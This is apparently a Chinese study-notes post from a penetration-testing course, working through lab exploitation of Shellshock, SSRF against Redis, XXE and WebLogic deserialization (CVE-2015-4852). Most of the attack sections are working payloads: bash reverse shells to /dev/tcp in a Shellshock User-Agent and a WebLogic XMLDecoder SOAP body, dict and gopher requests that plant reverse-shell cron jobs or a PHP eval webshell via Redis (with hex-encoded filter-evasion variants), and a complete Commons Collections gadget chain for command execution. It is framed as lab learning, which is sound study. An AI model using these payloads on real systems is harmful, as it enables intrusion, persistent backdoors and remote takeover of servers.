XSSER
及XSS
漏洞深入研究和实践讨论的并不是很深入,
XSS
平台在社区能拿到源码,笔者建议直接用老大的平台就行XSS
/CSRF
全部是基于
DVWA
的,老大课的第二阶段讲得更好,且均是基础,在此略过Bash-shellshock
主要是在安装基于
docker
的vulhub
靶场,命令如下,以下命令基于Ubuntu
环境1
2
3
4apt-get install -y apt-transport-https ca-certificates
apt install docker.io
pip3 install docker-compose
git clone https://github.com/vulhub/vulhub.git对于启动哪个可以在官网关键词搜索到
以这节课的
bash-shellshock
破壳漏洞为例1
2docker-compose -d #启动
docker-compose ps -a #看一下信息如果访问
http://ip:port
出现debian
则说明成功根据官网描述
可访问界面为
safe.cgi
与victim.cgi
官网文档有基本的
payload
用完后用这个关掉
1
docker-compose down
原理
bash
所用的环境变量通过函数名称调用,而以(){
开头所定义的环境变量被env
解析为函数后,并未退出bash
的执行,而是往后将后续字符串当作shell
执行而执行
.cgi
时调用bash
将referer,host,UA,header
全部当作环境变量处理payload
() { : ;}; echo ; /bin/ls -alh
查看
/bin/ls
目录下文件User-Agent: () { :;};echo ; /bin/bash -i >& /dev/tcp/ip/port 0>&1;
生成反弹
shell
连接成功,然后就可以想办法传大马提权了
SSRF
探索利用由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内网系统,而因为请求由服务端发起,所以能请求到与自身相连而与外网隔绝的内部系统
其关键是
Web
应用程序与其他设施或外部服务的新人关系通过修改原始
URL
为127.0.0.1
或localhost
,使服务器能接受指向其自身的地址,从而令攻击者渗透进服务器文件系统服务器端请求伪造
用
curl($_GET['url'])
来做演示,其功能如下1
2curl -vvv 'dict://ip:port/info' 查看对方主机信息
curl -vvv 'file:///etc/passwd' 读本地文件用
bWAPP
中的ssrf
模块做演示可以在老大发的第一个学习靶机中找到已经配置好的,但感觉并没有配置好,建议用
phpadmin
自己搭,用docker
的话也出了些问题给了三个例子,以第一个为例
port scan
点进去后发现服务器上存有以下用于端口扫描的
php
脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";
if(isset($_REQUEST["ip"]))
{
//list of port numbers to scan
$ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
$results = array();
foreach($ports as $port)
{
if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
{
$results[$port] = true;
fclose($pf);
}
else
{
$results[$port] = false;
}
}
foreach($results as $port=>$val)
{
$prot = getservbyport($port,"tcp");
echo "Port $port ($prot): ";
if($val)
{
echo "<span style=\"color:green\">OK</span><br/>";
}
else
{
echo "<span style=\"color:red\">Inaccessible</span><br/>";
}
}
}然后到本地文件包含模块
Remote/Local inclusion
可以看到这里请求了
lang_en.php
文件,那么用这个来包含刚刚的脚本随后就能用服务端的身份进行端口扫描
ssrf
常用协议file
协议读取服务器本地文件,访问本地静态资源
1
2
3file:///etc/passwd
file:///var/www/html/index.php
file:///usr/local/apache-tomcat/conf/server.xmdict
协议常用于探测内网主机以及端口开放情况,以及端口服务的指纹信息,或者执行一些服务的命令,如
redis
其格式为
dict://ip:port/command
对于多行命令,dict只能一次执行一行,所以需多次执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25一、dict协议探测端口和服务指纹
dict://ip:port
dict://127.0.0.1:port/info
二、dict协议攻击redis,写入定时任务,进行反弹shell
redis默认端口为6379
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n"
dict://127.0.0.1:6379/save
注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"
三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
dict://127.0.0.1:6379/save
若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
gopher
协议曾经应用广泛的信息查找系统,使用
70
端口,用来攻击redis
,mysql
,fastcgi
,smtp
等服务。又称万金油协议,通过该协议发送各种格式的请求包以绕过漏洞不在
GET
参数其格式为
gopher://host:port/gopher_path
在
gopher
协议数据流中,url
编码使用%0d%0a
替换回车换行,数据流末尾使用%0d%0a
代表消息结束攻击
redis
服务redis
服务的协议数据流格式如下,其中*[参数数量]
,$[参数x的字节数量]
1
2
3
4
5
6
7
8
9*3
$6
config
$3
set
$3
dir
$13
/var/www/htmleg:
redis
将反弹shell
写入定时任务1
2
3
4
5set ttt "\n\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
quite其
redis
格式如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38*3
$3
set
$3
ttt
$69
*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit用
gopher
协议攻击,payload
如下1
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
Gopherus
总是会有工具的,总会的
其可以自动化构造
paylaod
XXE
漏洞探索利用XML
基础知识作为一种标记语言,标记电子文件使其具有结构性,其标准结构如下
语法
- 所有
XML
元素都有一个关闭标签 - 标签对大小写敏感
- 需要正确嵌套
XML
文档必须有根元素XML
属性值必须加引号<>
符号在XML
中有特殊含义,所以用对应的html
实体来表示,即<
>
- 其空格会被保留,即
<p>a[space]b</p>
- 所有
文档结构
元素
XML
主要构建模块,可包含文本,其他元素,或空1
<body> body text in between </body>
属性
提供有关元素的额外信息
1
<img src="computer.gif"/>
src
即为元素img
的属性
DTD
:文档类型定义定义
XML
文档的合法构建模块,即说明哪些元素/属性合法以及应怎样嵌套可以内部声明或外部引用
内部
<!DOCTYPE 根元素 [元素声明]>
1
2
3
4内部声明,先定义了此文档为
note
类型。随后定义note
类型有四个元素to,from,heading,body
随后将这四个元素定义为
#PCDATA
类型外部
<!DOCTYPE 根元素 SYSTEM "文件名">
1
note.dtd
:1
2
3
4
5
XXE
即
XML
外部实体注入,即DTD
外部实体。而其的原因是在解析XML
的时候,对恶意的外部实体进行解析导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos
攻击等危害然而在
libxml2.9.0
后,默认不解析外部实体,PHP
版本不影响XXE
利用回显
XXE
以
bwapp
的XXE
模块为例抓包得到存在
xml
,尝试修改数据发现服务器会解析
xml
内容那么构造
payload
即可注入1
2
3
<reset><login>&bee;</login><secret>Any bugs?</secret></reset>理论上说这能输出桌面的
flag
文件内容,但是笔者靶机这里出锅了复现失败,根据github
改xxe-2.php
的$xml
函数值也没有用无回显
XXE
大多数条件下,
XXE
并不会用于输出,所以要考虑将数据外带判断
对于正常可以联网的靶机,我们可以使用以下操作来判断其是否存在
XXE
,借用 dnslog1
2
3然后可以在网站中收到记录
读取文件
往往用
xml
来调用靶机以外的xml
文件来攻击,以此避免过滤
Weblogic
系列Weblogic
漏洞利用实践这里选用的是
Weblogic10.3.6
版本,这一版本漏洞最多,便于实验安装完成后可以在
Oracle\Middleware\user_projects\domains\base_domain
找到弱密码爆破
很简单的部分,过程略了,但要求控制台关闭了用户控制
SSRF(CVE-2014-4210)
在
ip:port/uddiexplorer
中,可以看到输入框,随便输点到burp
里面看更改发送包中的数据,可以发现返回也随之改变
尝试
ssrf
,让operator
访问攻击机端口,并开端口监听可以验证其确实存在
ssrf
漏洞了XML
反序列化原理:
Weblogic
的WLS Security
组件对外提供webservice
服务,其中使用了XMLDecoder
来解析用户传入的XML(SOAP协议)数据
,在解析的过程中出现反序列化漏洞,导致任意代码执行。出问题的包是
wls-wsat
、_async
演示
在
ip:port/wls-wsat/
下面的子目录,都是在wls-wsat.war
里面WEB-INF/web.xml
定义的servlet
1
2
3
4
5
6
7
8/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11这里以第一个为例
先将数据包改成可以提交
xml
的样子:- 改为
POST
类型 - 加上
Content-Type: text/xml
构造
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>bash -i >& /dev/tcp/[ip]/[port] 0>&1</string></void>
</array>
<void method="start"></void>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>攻击机上监听对应端口即可
- 改为
脚本
在这里找到写好的脚本
weblogic
反序列化深入java
序列化(与反序列化)定义
把对象的状态信息转换为字节序列,便于存储或传输
字节序:多字节数据在内存或网络传输时各字节存储的顺序
用途
把对象字节序列永久保存到硬盘上,存放在文件里,便于恢复和保存用户会话
Sessions
便于传输
将内存中信息序列化后释放内存,减轻服务器压力,需要时再反序列化至内存中
应用场景
HTTP
实现多个平台间的通信和管理RMI
完全基于反序列化,java
开发分布式应用程序的API
,实现不同操作系统程序的方法调用,默认端口1099
JMX
可以在任何java
程序中使用标准的代理服务和管理实例
ObjectOutputStream
类的writeObject()
实现序列化ObjectInputStream
类的readObject()
实现反序列化样例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public static void main(String args[]) throws Exception{
String obj="hello world!";
//序列化对象写入文件 object.db
FileOutputStream fos=new FileOutputStream("object.db");
ObjectOutputStream os=new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
//从object.db读取数据
FileInputStream fis=new FileInputStream("object.db");
ObjectInputStream ois=new ObjectInputStream(fis);
//反序列化恢复对象obj
String obj2=(String)ois.readObject();
ois.close();
}其序列化后文件特点是文件头
16
进制下为AC ED 00 05
;base64
为rO0AB
但这段代码在实际使用中是存在问题的,因为没有对用户输入进行过滤,在
FileInputStream
的反序列化过程中,通过构造恶意代码可以进行攻击Apache Commons Collections
其中有一个特殊接口类
Invoker Transformer
,其可以调用java
反射机制来调用任意函数反射机制特点
可以判断对象所属的类,知道类所有的方法和属性,能够调用任意方法和属性
weblogic
反序列化深入(二)视频讲的不是很清楚,我这里细化写了一下,也可以移步我的博客看看
JAVA
基础学个基础先
java
的面向对象编程或许可以类比为一个
struct
我们以一个手机为例,手机作为整体即是一个对象
1
public class phone{}
而手机所具有的特点即是其属性
1
2
3
4public class phone{
public String name;
public double weight;
}而为了使“手机”这个概念具象化,即由存于定义变为实际存在,我们需要构造器
1
2
3
4
5
6
7
8
9public class phone{
public String name;
public double weight;
public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
this.name=name;
this.weight=weight;
}
}再随意写入一个函数
1
2
3
4
5
6
7
8
9
10
11
12
13package test1;
public class phone{
public String name;
public double weight;
public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
this.name=name;
this.weight=weight;
}
public void start(){
System.*out*.println("Power on");
}
}如此就完成了一个对象的定义,现在需要创建该对象,或者说,实例化这个类
1
2
3
4
5public class test{
public static void main(String[] args){
phone p=new phone();//new一个名为p,类型为phone的对象
}
}java
反射机制正射
通常来说,我们在实例化一个类时,我们需要知道其类型
phone
,才能写出实例化代码1
phone p=phone();
反射
顾名思义,我们可以借助函数来得到对象
p
的类phone
,再用函数进一步操作类的私有属性获取类
.getclass()
如果上文中存在所需类的某个实例
p
,那么可以调用p.getClass()
来获取其的类.class
调用类的
class
属性可获取该类对应的对象,即使用phone.class
.forname()
使用了
class
类中的静态方法1
2
3
4phone p=new phone();
Class class1=p.getClass();
Class class2=phone.class;
Class class3=Class.forName("phone");//所填的是类所在包名.类名,但这里没有放到包里,所以只写了类名类的函数
获取想要操作的类的
Class
对象class1
后,通过Class
类的函数可以查看该类的信息并进行操作实例化对象
Object
获取1
2
3
4Object p1=class1.newInstance();
//或者
Constuctor cons=class1.getConstructor();
Object p2=cons.newInstancec();两者区别在于,后者可以用来调用含参数的构造器。
newInstance
函数需要类中存在无参构造器,当不存在时,只能用后者1
2Constructor cons=class1.getConstructor(String.class,double.class);
Object p2=cons.newInstance(value1,value2);//value1,2即是赋给p2的两个属性的值类的构造器
Constructor
获取1
2
3
4
5
6
7
8//获取public构造器
Constructor cons=class1.getConstructor();//当然,这里也可以获取含参数构造器
//获取全部public构造器
Constructor[] cons=class1.getConstructors();//构造器可能不止一个,所以用数组
//获取public与private类型的构造器
Constructor cons=class1.getDeclaredConstructor();
//获取全部构造器
Constructor[] cons=class1.getDeclaredConstructors();获取属性
field
1
2
3
4
5//同上,获取的是public/全部属性
Field f=class1.getField("name");
Field f2=class1.getDeclaredField("name");
Field[] f3=class1.getFields();
Field[] f4=class1.geDeclaredFields();获取方法
Methods
1
2
3//继续同上
Method m=class1.getMethod("setName", String.class); //两个参数,后面要传入的是方法形参的类型的原型,无参函数就不用填
//剩下的略
Runtime
类java
中的一个系统类,通常写作java.lang.Runtime
,其封装了应用程序运行时的环境,但我们只需要关注其中最重要的那个:1
exec(String cmd); //在单独的进程中执行指定的命令或程序。
这个明显可以用来命令执行,利用反射弹个
calc
:1
2
3
4
5
6Class p = Class.forName("java.lang.Runtime");//定义一个类与系统类 runtime 相同的类p,那么对于runtime可执行的函数,p也可执行。相当于复制一个 java.lang.runtime 为 p
Constructor constructor = p.getDeclaredConstructor(); // 调用系统类里定义的一个私有构造器
constructor.setAccessible(true); // 修改构造器作用域,使外面可以访问到
Method m = p.getMethod("exec", String.class); // 获取exec方法
Object o = constructor.newInstance(); //弄一个与系统类相同的对象出来,方便后面
m.invoke(o, "calc"); // 调用exec方法,执行calc命令
基于反射的
invoke
方法对于一般的对象
A
,我们常使用A.getA()
来调用其getA()
方法而
invoke
采取一种新的调用方式:构建一个
Method
对象methodA
,给其所需要的对象和参数以用其代替你要使用的方法也就是说,在未知条件下,可以调用替代任何方法并根据条件决定调用对象和方法
注解与元注解
注解用于对程序代码说明,但不同于注释的是,其能向编译器提供关于程序代码的附加信息,可在编译运行时被读取或使用,以及可以影响编译器的行为。
其可以用于类,方法,字段等元素上,例:
1
2
3
4
public void oldMethod{
...
}标记了一个过时的方法,在接下来的代码中,若有使用
oldMethod
的代码,编译器会给出警告1
2
3
4
public void someMethod() {
...
}使编译器不给出警告信息
元注解则是注解的注解,以马上要用到的
@Target
为例,其用于指定注解可以应用的元素类型(方法/类/等)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public MyAnnotation{
//关于类型为注解,名称为 MyAnnotation 的注解的定义,其被Target限制为只能注解 Method
}
public MyClassAnnotation{
//类型为注解,名称为 MyClassAnnotation 的注解,其被 Target 限制为只能注解 class
}
public class myclass{
public void MyMethod{
...
}
}语法糖
当注解中只有一个成员变量,并且该成员名称为
value
时,可以用value
语法糖简化注解使用:1
2
3
4
5
6
7public MyAnnotation{
string value();
}
public class MyClass{
...
}自定义注解
MyAnnotation
中只有value
一个成员变量,使用语法糖能直接在使用注解提供值,即使用该注解时将hello
作为值传给value
成员变量再看一个跟这个题目有关的:
1
2
3
4
5
6
7
8
public Target {
ElementType[] value() default {};
}
public MyAnnotation {
...
}第一个
Target
规定了第二个Target
能注解的变量类型,且其存在名为value
的数组中第二段语句
Target
的参数即在value
中,规定了MyAnnotation
只能注解Element.TYPE
和Element.FIELD
CVE-2015-4852
漏洞原理浅析环境搭建
docker
笔者使用的是
Ubutun+docker
。在vulhub/weblogic
下新建一个名为CVE-2015-4852
的文件夹方便操作,然后写入以下配置文件docker-compose.yml
1
2
3
4
5
6
7version: '2'
services:
weblogic:
build: .
ports:
- "7001:7001"
- "8453:8453"DockerFile
1
2
3
4
5
6
7
8from vulhub/weblogic:10.3.6.0-2017
ENV debugFlag true
EXPOSE 7001
EXPOSE 8453
CMD ["/bin/sh","-c","while true;do echo 1;sleep 10;done"]随后更新
docker-compose up -d
,用docker exec -it [docker_id] bash
进入docker
目录修改~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
在其前方加入
1
2debugFlag="true"
export debugFlag随后重启容器,并把容器目录下的
root
复制出来1
docker cp [docker_id]:/root [your_path]
后传到你的主机上
idea
用
idea
打开/root/Oracle/Middleware/wlserver_10.3
然后去
Project structure-Libraries
添加/server/modules
文件夹以及/wlserver_10.3/server/lib/weblogic.jar
以进行反编译再去
Project structure-Project
jdk
选择刚刚拷出来的jdk
然后去右上角
add Configuration
加入remote
服务器,如果刚刚配置的时候没有改调试端口的话这里是8453
最后去
/wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class
的第129
行下断点,运行debug
访问网站
http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
看看是否被断下
利用链分析
前言
反序列化攻击的实现,往往需要将
payload
构造为多层的exp
进入服务端的readobject
函数,其会反序列化恢复构造的exp
来生成exp'
,在接下来的流程中存在可以执行exp'
类的方法,不断处理得到最终的payload
,最后其进入可执行任意命令的函数也就是说,我们需要构造以下:
- 朴素的
payload
,即需要服务器执行的代码 - 一条反序列化链,沿着这条链可以逐渐解码包裹起来的
payload
readObject
重写点,即服务器端存在的,与漏洞链相连接的且可以从外部访问到的一个方法
- 朴素的
反序列化链构造
将其细分为 $3$ 段,从 $1-3$ 的顺序构造,服务端从 $3-1$ 进行执行。
段 $1$
我们最终的目的是命令执行,即调用
exec()
函数这里主要使用的是
InvokerTransformer
类及其transform
方法注意到
transform
方法会用反射机制调用输入的input
的method
函数,而Invokertransform
类的三个参数全部可由输入控制所以只要控制
transform
方法的input
变量是一个Runtime
的Class
实例,就可以成功调用即执行了Runtime.getRuntime().exec("calc");
写一个实验如下:
1
2
3
4
5
6
7
8import org.apache.commons.collections4.functors.InvokerTransformer;
public class InvokerTransformerTest{
public static void main(String[] args){
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});//变量赋值
InvokerTransformer.transform(Runtime.getRuntime());//得到runtime类
}
}对于新学
java
的这里有一点要注意的,如果是 ${vscode}$ 的话,这个外部库去apache下载后,用extentsion pack for java
,然后在JAVA PROJECT
下面的Referenced Libraries
添加下载的库。注意引入库的版本要和下载的对应但不幸的是,
CC
里面并不能直接使用InvokerTransformer.transform
,也就是说得不到RunTime
类,那么现在需要找到利用链的上一级,其需要调用该方法这里就需要
ChainedTransformer
CC4
(上) 可能和网上常见的CC3
(下) 不太一样,但理解成正常for
循环和用auto
的循环就行这个类以一个
Transformer
数组为变量,其transform
方法是对每个Transformer
调用其自己的transform
方法但注意最开始传入的参数
object
会被其迭代,这对链的构造十分有利现在我们解决的
transform
方法的问题,getRunTime
可以由RunTime
类获取。回顾我们需要构造的链Runtime.getRuntime().exec("calc");
。只要获取到RunTime
类就可以完成段 $1$ 的构造但是
RunTime
对象不能像普通对象一样直接声明,那么就需要性质很好的ConstantTransformer
其
transform
方法返回值都是iConstant
。那么只要让一个
RunTime
类为iConstant
即可得到RunTime
类,再结合刚刚的ChainedTransformer
就可以获取到链的第一截RunTime
,然后去InvokerTransformer
的transform
方法调用getMethod()
得到第二截getRunTime()
,最后再用其调用exec()
即能得到整条链由于
ChainedTransformer
参数object
的优秀迭代机制,只需要让另外几个以此放在Transform[]
类数组里面即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
public class test_part1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain=new ChainedTransformer(transformers_exec);
chain.transform(1);
}
}如此就成功构造出了链的第一部分
Runtime.getRuntime.exec("calc")
回顾一下调用栈
1
2
3
4
5
6
7
8
9
10
11ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()那么我们现在只需要找到一处调用了
ConstantTransformer.transform
的地方即可。由于其所需参数任意,所以这里分为第一段段 $2$
一般来说是找不到严格相同的
ConstantTransformer.transform
,但我们退而求其次,找xxx.transform
方法,且xxx
可被赋值为ConstantTransformer
类型对象根据资料,这里有两条路可以走:
TransformedMap
与LazyMap
,但顾名思义,我懒,所以没有LazyMap
的笔记其中这三个函数调用了其
transform
方法,也就是构造valueTransformer
或keyTransformer
为刚刚构造的ChainedTransformer
类型对象,然后触发这三个函数来触发trnsform
方法即可。需要分两步:先赋值,再调用但实际上只能让
valueTransformer
为反序列化构造链,因为只有其在后面能被调用到,但这是过会要考虑的问题但这几个方法都是
protected
,也就是无法从外部访问。那么考虑找public
类型入手:transformedMap
类型:transformingMap
方法则是可以调用构造函数赋值内部参数如果是
CC3
版本的话,这里是decorate
方法可以发现构造方法
transformingMap
需要满足的条件是第一个参数是Map
类型,那么随便建一个map
就行,如此就赋值成功了1
2
3HashMap tmpMap=new HashMap();
tmpMap.put("nothinghere","qwq");
Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);//chain即是上面构造的 ChainedTransformer中途可以验证一下
找到一个性质很好的
put
方法,其可以从外部访问且能调用上面三个隐私函数之一的transformKey
。由
transformKey
可知,只要参数KeyTransformer
不为空即可调用transform
方法,那么随便传几个进去试试:1
ChainMap.put("justfor","test");
成功调出计算器,也就是赋值操作是没问题的,
那么接下来考虑如何让系统自动触发
Map
类型中valueTransformer
参数transform
方法(即刚刚构造的链条所在位置),即调用valueTransformer.transform()
,显然这里的参数无关紧要所以最后要落脚到一个读入数据后主动触发的类,即
ReadObject
类先搜索找到调用函数
checkSetValue
:点进去看下谁能调用它:
到其父类
AbstractInputCheckedMapDecorator
中也就是现在需要一个
Map.entry
类且需要调用Map.entry.setValue()
参数依旧不重要还是经典的赋值+调用
先看赋值,要将原来的
TransformedMap
类转为Map.Entry
类而
TransformedMap
也是Map
,Map.entry
是一个键对值<key,value>
的集合也就是从
Map
中提取键对值的方法用在TransformedMap
上,并将其赋值给Map.entry
即可,顺便手动调用一下SetValue
方法试一下1
2Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
entry.setValue("qwq");在这里分个段清晰一些,回顾一下反序列化链;
1
2
3
4
5
6
7
8
9
10
11
12
13Map.entry.setValue()
TransformedMap.put()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()段 $3$
在开始前,确保版本为
jdk1.6
因为这里使用
AnnotationInvocationHandler
类来解决调用函数的问题,其在jdk1.8
被重写了它在
JRE System Library-rt.jar-sun.reflect.annotation.AnnotationInvocationHandler
里观察到
var5
存在setvalue()
方法的调用,恰巧的是,其构造过程与上面的entry
一模一样:1
2Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
var5=this.memberValue.entrySet().iterator().next();那么
payload
转而写成:1
2
3
4
5//Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next(); 已经不需要这个了
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);//反射机制调用AnnotationInvocationHandler类的构造函数
ctor.setAccessible(true);//取消构造函数修饰符限制
Object instance = ctor.newInstance(Target.class, ChainMap);//获取AnnotationInvocationHandler类实例而前面定义的
memberValues
恰好是map
类型,将其赋值成transformedMap
即可满足var5
即是entry
但想进到判断里还需要满足几个条件:
transformedMap
非空:var4.hasNext()
检查了memberValues
的EntrySet
的迭代器var7!=null
:var7
的生成过程比较复杂,上面已经标出来了这里需要注意的是
var2
的生成过程AnnotationType.getInstance(this.type)
,this.type
即是上面传进去的Target.class
而
var7
非空是很难构造的。而这个涉及到java
的注解与value
语法糖,最上面有写,跳到上面看一下再回来1
var2 = AnnotationType.getInstance(this.type);
getInstance
得到我们传进去的注解的基本信息,这里就以传进去了Target.class
为例:1
Map var3 = var2.memberTypes();
memberType
得到注解中的成员变量,其返回值为Map
类型,键为成员变量名称,值为成员变量类型这个时候选择传入
this.type
为Target.class
的原因就能看出来了:看java.lang.annotation.Target
的定义:1
2
3
4
5
6//会被写入javadoc文档
//生命周期时运行时
//标明注解可以用于注解声明(应用于另一个注解上)
public Target {
ElementType[] value();//value语法糖
}也就是说,对于
Target
注解,其成员变量名称总为value
那么
var3
即为键值对<value,[ElementType]>
1
Class var7 = (Class)var3.get(var6);
这时候再来看
var7
的生成式,只需要满足var6
中有Map
的键为value
,值任意即可对
var6
的来源回溯上去,即是让tmpmap
中存有键为value
即可就是将
1
2HashMap tmpMap=new HashMap();
tmpMap.put("nothinghere","qwq");改为
1
2HashMap tmpMap=new HashMap();
tmpMap.put("value","qwq");至此利用链完毕,回顾一下整条链子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14AnnotationInvocationHandler.readObject()
Map.entry.setValue()
TransformedMap.put()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()payload
为1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections4.Transformer;
public class test_part1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
// chain.transform(1);
HashMap tmpMap=new HashMap();
tmpMap.put("value","qwq");
Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);
// ChainMap.put("justfor","test");
// Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
// entry.setValue("qwq");
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, ChainMap);
}
}
上传
可以加上这段代码在本地模拟上传试一下:
1
2
3
4
5
6
7
8
9
10
11//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
//服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();T3协议分析
用
python
模拟握手包的发包,wireshark
抓一下,追踪TCP
流1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import socket
def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
